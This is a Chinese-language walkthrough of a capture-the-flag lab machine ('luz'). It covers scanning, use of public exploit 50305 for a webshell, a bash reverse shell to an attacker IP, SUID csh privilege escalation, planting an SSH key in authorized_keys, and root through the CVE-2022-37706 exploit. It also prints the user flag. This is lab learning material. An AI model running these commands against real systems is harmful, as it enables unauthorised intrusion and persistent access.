信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn 192.168.142.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-05 11:48 EDT
Nmap scan report for 192.168.142.174
Host is up (0.00062s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
MAC Address: 08:00:27:37:37:11 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.14 seconds
路径扫描
[11:57:17] 403 - 564B - /database/
[11:57:21] 200 - 3KB - /footer.php
[11:57:22] 200 - 0B - /head.php
[11:57:22] 200 - 2KB - /header.php
[11:57:23] 200 - 9KB - /home.php
[11:57:25] 403 - 564B - /js/
[11:57:27] 200 - 2KB - /login.php
[11:57:37] 200 - 1KB - /readme.txt
[11:57:40] 200 - 2KB - /signup.php
没什么有用的东西
拿取shell
寻找有无可用漏洞
发现存在漏洞,看尝试能不能行得通
1.searchsploit 50305
2.searchsploit -m 50305.py
不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目
3.python3 50305.py
在填写路径是需要注意,利用/结尾,否则报错
提权
我们发现当我获取webshell,无法执行命令,于是反弹shell,
靶机:
bash -c "bash -i >& /dev/tcp/192.168.137.205/8000 0>&1"
kali:
nc -lnvp port
user.txt:HMVn03145n4nk4
find / -perm -u=s -type f 2>/dev/null
首先查找具有suid的命令
根据小白师傅的提示,发现可以利用这个提权
/csh -b
获得aelist用户的权限
参考:CSH公司 | go away垃圾箱 (gtfobins.github.io)
之后发现,我发现我虽然是aelis用户,但我的用户id还是www-data,所以还需要我们提权,我们想到可以看看有没有用户私钥,发现确实有,但和以前见过的不一样
authorized_keys
什么是SSH authorized_keys文件以及如何检查它 – howtouselinux
通俗的说就是存放客户端公钥的文件,当客户端远程访问时,如存有客户端的公钥钥,那么客户端就可以利用自己的私钥远程登录服务端,前提就是这个文件中存在客户端的公钥.那么我就可以生成一个公钥,存入到这个文件中,然后私钥登录
在Linux中使用ssh-keygen命令创建SSH密钥对 – howtouselinux
因为ssh-key会生成两个文件,一个公钥一个私钥,公钥存到靶机上,私钥kali上登录
客户端(kali):
ssh-keygen -t rsa -f /root/luz/aelis
服务器端(靶机):
(公钥)echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTV2OQB19B5kO4sJ+Cghxn3vUwwddhqQAgXubNd0K+VFNNZnE9kBm2hqzF2hEIaOk0wEDNDGMYrrX1LKpZ+IrDBFdaKwhoMnbs68RpuidjUWUSJNO520ff8WUlBUbSJYJjMYWoWAF2/NZCR6SwMGa5bTLKRjlnfQRcIPUEwHXz8ffRz302Lc0gvo83+ZPUi50l6bjHxsoKZ4iTrpdx1VM4iv66vapnaPiwizcWfPc1HFbxy7OXxrpAh7E0RjDiHb7sfdb48K7qm18ZiAI4yJD5+AUT+yV5w8+QCB19lZLYQCAAQbn8x3lQKrlPt03GJhhcsniOXLaCD/rj6O840ewclDe365/xOiq9lnXVbqUFTO9nExjOA7gkizkibx2043zouEjxbaPuC6w4GsQkP2jRye+j0t1Pkv5xnLqGh1miCjtOVoXLDXNDCYuHKuz72RLnFGy/AfWhnCionNcAVnRVt72kgZqsSAKh1INuwxN22owahMd1gGHQDg" > authorized_keys
之后利用生成的私钥ssh登录
chmod 600 aelis
ssh -i aelis aelis@192.168.137.174
成功切换用户aelis
之后再进行提权:
通过下面这张图,这个我们也能理解为什么csh能够提权aelis,现在需要提权为root。
enlightenment -version
通过版本号,发现可以利用payload:
CVE-2022-37706-LPE-exploit/exploit.sh at main · MaherAzzouzi/CVE-2022-37706-LPE-exploit · GitHub
NVD – CVE-2022-37706 (nist.gov)
下载好exploit.sh,就权限直接执行,获得root权限,这个靶场有一说一,确实塞了好多东西感觉,学到了好多,还是有点难度的,多亏别的师傅得wp(唉
知识点:
- bash -c 和bash -i的区别:所以,
bash -c
用于执行特定命令并退出,而bash -i
则用于启动一个交互式的 Bash shell 实例,要说这个是因为在我反弹shell时,我会用错命令,而无法反弹到shell到我的攻击机上。 - 关于pki
- csh解释器
参考wp:https://lanzt.github.io/hmv/luz